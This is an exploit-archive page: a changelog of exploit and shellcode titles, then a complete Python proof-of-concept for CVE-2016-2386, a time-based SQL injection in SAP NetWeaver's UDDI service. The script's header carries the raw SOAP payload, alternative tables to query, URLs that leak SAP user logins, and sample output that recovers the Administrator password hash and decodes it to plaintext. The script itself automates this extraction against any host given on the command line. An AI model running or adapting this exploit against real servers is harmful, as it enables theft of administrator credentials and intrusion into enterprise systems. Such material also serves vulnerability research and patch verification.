
31 changes to exploits/shellcodes MiniUPnP MiniUPnPc < 2.0 - Remote Denial of Service Android - Hardware Service Manager Arbitrary Service Replacement due to getpidcon Microsoft Windows - NTFS Owner/Mandatory Label Privilege Bypass Microsoft Windows - NtImpersonateAnonymousToken AC to Non-AC Privilege Escalation Microsoft Windows - NtImpersonateAnonymousToken LPAC to Non-LPAC Privilege Escalation Microsoft Windows SMB Server (v1/v2) - Mount Point Arbitrary Device Open Privilege Escalation macOS - 'process_policy' Stack Leak Through Uninitialized Field Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read Jungo Windriver 12.5.1 - Privilege Escalation Jungo Windriver 12.5.1 - Local Privilege Escalation Parity Browser < 1.6.10 - Bypass Same Origin Policy Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' MITM Remote Code Execution VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' Man In The Middle Remote Code Execution Granding MA300 - Traffic Sniffing MitM Fingerprint PIN Disclosure Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure LabF nfsAxe 3.7 FTP Client - Stack Buffer Overflow (Metasploit) phpCollab 2.5.1 - Unauthenticated File Upload (Metasploit) eVestigator Forensic PenTester - MITM Remote Code Execution eVestigator Forensic PenTester - Man In The Middle Remote Code Execution BestSafe Browser - MITM Remote Code Execution BestSafe Browser - Man In The Middle Remote Code Execution SKILLS.com.au Industry App - MITM Remote Code Execution Virtual Postage (VPA) - MITM Remote Code Execution SKILLS.com.au Industry App - Man In The Middle Remote Code Execution Virtual Postage (VPA) - Man In The Middle Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - MITM Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - Man In The Middle Remote Code Execution SAP NetWeaver J2EE Engine 7.40 - SQL Injection D-Link Routers 110/412/615/815 < 1.03 - 'service.cgi' Arbitrary Code Execution FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Reverse TCP Shell (192.168.2.33:6969/TCP) Shellcode (129 bytes) FreeBSD/x86 - Bind TCP Password Shell (4883/TCP) Shellcode (222 bytes) FreeBSD/x86 - Bind TCP Password /bin/sh Shell (4883/TCP) Shellcode (222 bytes) Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY / Privilege Level To 15 / No Password Shellcode HPUX - execve /bin/sh Shellcode (58 bytes) Cisco IOS - New TTY + Privilege Level To 15 + Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY + Privilege Level To 15 + No Password Shellcode HP-UX - execve /bin/sh Shellcode (58 bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 Bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 bytes) ARM - Bind TCP Shell (0x1337/TCP) Shellcode ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode Linux/ARM - Bind TCP Shell (0x1337/TCP) Shellcode Linux/ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode Linux/ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode Linux/ARM - ifconfig eth0 192.168.0.2 up Shellcode FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (31337/TCP) + Fork Shellcode (111 bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 Bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 Bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 Bytes) Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes) FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes) FreeBSD/x86-64 - Bind TCP Password (R2CBw0cr) /bin/sh Shell Shellcode (127 bytes) FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes) FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (41254/TCP) Shellcode (115 bytes) FreeBSD - reboot() Shellcode (15 Bytes) IRIX - execve(/bin/sh -c) Shellcode (72 bytes) IRIX - execve(/bin/sh) Shellcode (43 bytes) IRIX - Bind TCP /bin/sh Shell Shellcode (364 bytes) IRIX - execve(/bin/sh) Shellcode (68 bytes) IRIX - stdin-read Shellcode (40 bytes) Linux/ARM - execve(_/bin/sh__ NULL_ 0) Shellcode (34 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes) Linux/x86 - Read /etc/passwd Shellcode (54 Bytes) Linux/x86 - Read /etc/passwd Shellcode (54 bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 Bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 bytes)
144 lines
No EOL
5.4 KiB
Python
Executable file
144 lines
No EOL
5.4 KiB
Python
Executable file
#!/usr/bin/env python
|
||
# coding=utf-8
|
||
"""
|
||
Author: Vahagn Vardanyan https://twitter.com/vah_13
|
||
|
||
Bugs:
|
||
CVE-2016-2386 SQL injection
|
||
CVE-2016-2388 Information disclosure
|
||
CVE-2016-1910 Crypto issue
|
||
|
||
|
||
|
||
Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50
|
||
|
||
POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
|
||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
|
||
SOAPAction:
|
||
Content-Type: text/xml;charset=UTF-8
|
||
Host: nw74:50000
|
||
Content-Length: 500
|
||
|
||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
|
||
<soapenv:Header/>
|
||
<soapenv:Body>
|
||
<sec:deletePermissionById>
|
||
<permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
|
||
</sec:deletePermissionById>
|
||
</soapenv:Body>
|
||
</soapenv:Envelope>
|
||
|
||
|
||
|
||
|
||
In SAP test server I have admin user who login is "Administrator" and so I used this payload
|
||
|
||
%PRIVATE_DATASOURCE.un:Administrator%
|
||
|
||
most SAP's using j2ee_admin username for SAP administrator login
|
||
|
||
%PRIVATE_DATASOURCE.un:j2ee_admin%
|
||
|
||
You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure)
|
||
|
||
1) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
|
||
2) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#
|
||
|
||
Instead of J2EE_CONFIGENTRY table you can use this tables
|
||
|
||
UME_STRINGS_PERM
|
||
UME_STRINGS_ACTN
|
||
BC_DDDBDP
|
||
BC_COMPVERS
|
||
TC_WDRR_MRO_LUT
|
||
TC_WDRR_MRO_FILES
|
||
T_CHUNK !!! very big table, if SAP server will not response during 20 seconds then you have SQL injection
|
||
T_DOMAIN
|
||
T_SESSION
|
||
UME_ACL_SUP_PERM
|
||
UME_ACL_PERM
|
||
UME_ACL_PERM_MEM
|
||
|
||
|
||
An example of a working exploit
|
||
|
||
C:\Python27\python.exe SQL_injection_CVE-2016-2386.py --host nw74 --port 50000
|
||
start to retrieve data from the table UMS_STRINGS from nw74 server using CVE-2016-2386 exploit
|
||
this may take a few minutes
|
||
Found {SHA-512, 10000, 24}M
|
||
Found {SHA-512, 10000, 24}MT
|
||
Found {SHA-512, 10000, 24}MTI
|
||
Found {SHA-512, 10000, 24}MTIz
|
||
Found {SHA-512, 10000, 24}MTIzU
|
||
Found {SHA-512, 10000, 24}MTIzUV
|
||
Found {SHA-512, 10000, 24}MTIzUVd
|
||
Found {SHA-512, 10000, 24}MTIzUVdF
|
||
Found {SHA-512, 10000, 24}MTIzUVdFY
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYX
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXN
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk8
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88F
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fx
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fxu
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuY
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6
|
||
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6X
|
||
|
||
|
||
And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text
|
||
|
||
base64_decode(MTIzUVdFYXNk88FxuYC6X)=123QWEasdóÁq¹ºX
|
||
|
||
"""
|
||
import argparse
|
||
import requests
|
||
import string
|
||
|
||
_magic = "{SHA-512, 10000, 24}"
|
||
_wrong_magic = "{SHA-511, 10000, 24}"
|
||
_xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " \
|
||
"xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n " \
|
||
"<sec:deletePermissionById>\r\n <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, " \
|
||
"UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{" \
|
||
"0}%') AND '1'='1</permissionId>\r\n </sec:deletePermissionById>\r\n </soapenv:Body>\r\n</soapenv:Envelope> "
|
||
host = ""
|
||
port = 0
|
||
_dictionary = string.digits + string.uppercase + string.lowercase
|
||
|
||
def _get_timeout(_data):
|
||
return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host, port),
|
||
headers={
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 "
|
||
"Firefox/57.0",
|
||
"SOAPAction": "",
|
||
"Content-Type": "text/xml;charset=UTF-8"
|
||
},
|
||
data=_xml.format(_data)).elapsed.total_seconds()
|
||
|
||
|
||
if __name__ == "__main__":
|
||
parser = argparse.ArgumentParser()
|
||
parser.add_argument('--host')
|
||
parser.add_argument('--port')
|
||
parser.add_argument('-v')
|
||
|
||
args = parser.parse_args()
|
||
args_dict = vars(args)
|
||
|
||
host = args_dict['host']
|
||
port = args_dict['port']
|
||
|
||
print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
|
||
_hash = _magic
|
||
print "this may take a few minutes"
|
||
for i in range(24): # you can change it if like to get full hash
|
||
for _char in _dictionary:
|
||
if not (args_dict['v'] is None):
|
||
print "checking {0}".format(_hash + _char)
|
||
if _get_timeout(_hash + _char) > 1.300: # timeout for local SAP server
|
||
_hash += _char
|
||
print "Found " + _hash
|
||
break |